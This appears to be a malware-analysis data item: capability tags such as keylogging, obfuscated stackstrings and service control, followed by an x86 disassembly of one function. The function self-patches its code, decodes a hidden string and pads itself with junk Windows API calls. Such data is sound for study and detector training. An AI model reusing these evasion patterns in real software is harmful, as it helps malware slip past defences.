Function at 0xab2000
Capabilities:
Compare security identifiers
Contain obfuscated stackstrings
Create process on windows
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file system object information
Get session user name
Log keystrokes
Log keystrokes via polling
Read .ini file
Set registry value
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xab2b19
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab2039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab2215
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab20bb
call fcn.00490602
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab207d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab2097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab2097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab204d
mov byte [ebp - 0x80], 1
mov byte [ebp - 0x7f], 0x76
mov byte [ebp - 0x7e], 6
mov byte [ebp - 0x7d], 0x71
mov byte [ebp - 0x7c], 0x22
mov byte [ebp - 0x7b], 0xa2
mov byte [ebp - 0x7a], 0x52
mov byte [ebp - 0x79], 0x33
mov byte [ebp - 0x78], 0xb2
mov byte [ebp - 0x77], 4
mov byte [ebp - 0x76], 0xd
mov byte [ebp - 0x75], 0xa2
mov byte [ebp - 0x74], 0xc8
mov byte [ebp - 0x73], 0xd9
mov byte [ebp - 0x72], 0x88
mov byte [ebp - 0x71], 0x85
mov byte [ebp - 0x70], 0x62
mov byte [ebp - 0x6f], 0x81
mov byte [ebp - 0x6e], 0x74
mov byte [ebp - 0x6d], 0x5a
mov byte [ebp - 0x6c], 0x57
mov byte [ebp - 0x6b], 0x83
mov byte [ebp - 0x6a], 9
mov byte [ebp - 0x69], 9
mov byte [ebp - 0x68], 0x41
mov byte [ebp - 0x67], 0x24
mov byte [ebp - 0x66], 0x4b
mov byte [ebp - 0x65], 0x17
mov byte [ebp - 0x64], 0xde
mov byte [ebp - 0x63], 0x38
mov byte [ebp - 0x62], 0x8c
mov byte [ebp - 0x61], 0x1c
mov byte [ebp - 0x60], 0xb6
mov byte [ebp - 0x5f], 0x38
mov byte [ebp - 0x5e], 0x32
mov byte [ebp - 0x5d], 0x77
mov byte [ebp - 0x5c], 0xfe
mov byte [ebp - 0x5b], 0x95
mov byte [ebp - 0x5a], 7
mov byte [ebp - 0x59], 0x66
mov byte [ebp - 0x58], 8
mov byte [ebp - 0x57], 0x77
mov byte [ebp - 0x56], 5
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 2
mov byte [ebp - 0x53], 0x79
mov byte [ebp - 0x52], 9
mov byte [ebp - 0x51], 0x76
mov byte [ebp - 0x50], 3
mov byte [ebp - 0x4f], 0x2f
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 0x83
mov byte [ebp - 0x4c], 4
mov byte [ebp - 0x4b], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab21a5
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x36
jae 0xab220a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab21d1
mov dword [ebp - 0x24], 0x22
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
jmp 0xab219d
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab21f9
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab21e6
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab219d
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa71ea
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407e29
mov ecx, eax
call fcn.00402dd2
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402d76
and dword [ebp - 0x1c], 0
jmp 0xab224d
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab225d
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab2246
push 0x20d0
push 0x226c
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0x6c1
push 0
push 0x1b35
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x13f0
push 0x21a6
push 1
push 0
push 0x1ef3
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0xc2d
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x18c1
push 0x12e
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0xb26
call dword [sym.imp.USER32.dll_GetSysColor]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0x1567
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0x13a4
push 0x513
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0x501
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x1279
push 0
push 0x2004
push 0x79b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0x612
push 0x16a6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x4a6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0x896
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x775
push 0x1495
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
push 0
push 0xa41
push 0xab5
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0xf7b
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0x91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0
push 0
push 0x1063
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0x69
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x5a7
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x2546
push 0
push 0x23da
push 0x146c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
call dword [sym.imp.USER32.dll_WaitMessage]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x2048
push 0xe40
push 0x1d01
push 0x2555
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
push 1
push 0x2292
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb82
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x444
push 0x466
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0xd7c
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0
push 1
push 0x18c1
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0x964
push 0x1eec
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0x206d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
push 0x2350
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0xe50
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0xe69
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x3cb
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0x24ce
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xdbb
push 0
push 0
push 0x71b
push 0x6ed
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x186d
push 0x2041
push 0xb09
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
push 0x9a5
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0x33b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0
push 0x1edd
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0x9c1
push 0
push 0
push 0x45
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0
push 0x2517
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x21f8
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0xb71
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xc20
push 0x1b66
push 0x1572
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0xfab
push 0xc19
push 0x2500
push 0x33f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0x21f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x17ed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0x811
push 0x196a
push 0x22e5
push 0
push 0x126c
push 0x167
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x15d5
push 0xecc
push 0x404
push 0x2450
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0x16f1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0x1126
push 0xc15
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0x1d59
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0xa4b
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0xb65
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0x26ab
push 0x1ef
push 0x2cf
push 0x16ad
push 0x250e
push 0x1a1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0x1cb3
push 0
push 0x233f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
push 0x18c2
push 0
push 0
push 0xac7
push 0x71e
push 0x11a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0x136a
push 0
push 0
push 0x5cc
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0
push 0
push 0x11cd
push 0x183
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0x1f6e
push 0
push 0
push 0x148e
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0xe77
push 0x1e52
push 0
push 0xd5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0x181f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0xb97
push 0
push 0xcd0
push 0xb5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0
push 0x2434
push 0x1941
push 0x1b6c
push 0x1e75
call dword [sym.imp.GDI32.dll_CreateBitmap]
push 0
push 0x420
push 0x466
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
jmp 0xab2b23
mov esp, ebp
pop ebp
ret